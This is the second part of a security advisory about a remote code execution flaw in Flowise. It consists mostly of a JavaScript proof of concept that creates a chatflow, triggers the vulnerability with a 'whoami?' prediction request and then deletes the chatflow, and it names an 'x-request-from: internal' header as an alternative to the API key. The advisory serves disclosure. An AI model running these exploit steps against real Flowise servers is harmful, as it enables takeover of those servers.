Advisory

GHSA-9wc7-mj3f-74xv

Details, part 2 of 2. The advisory

Details

const payload = {"name":"CSV PWN","deployed":false,"isPublic":false,"flowData":JSON.stringify(flowData),"type":"CHATFLOW"};

// Create chatflow.
let res = await fetch(${FLOWISE_HOST_URL}${CHATFLOWS_URL}, {
method: "POST",
headers: {
"Content-Type": "application/json",
"Authorization": "Bearer <your-api-key>"
//Alternative: "x-request-from": "internal"
},
body: JSON.stringify(payload)
});

let resJson = await res.json();
let chatflowId = resJson?.id;

// Trigger vuln.
await fetch(${FLOWISE_HOST_URL}${PREDICTION_URL}/${chatflowId}, {
method: "POST",
headers: {
"Content-Type": "application/json"
},
body: JSON.stringify({"question": "whoami?"})
});

// Cleanup.
await fetch(${FLOWISE_HOST_URL}${CHATFLOWS_URL}/${chatflowId}, {
method: "DELETE",
headers: {
"Content-Type": "application/json",
"Authorization": "Bearer <your-api-key>"
//Alternative: "x-request-from": "internal"
}
});


### Impact
This results in Remote Code Execution (RCE) and can allow an attacker to compromise the underlying server.

Sources & licences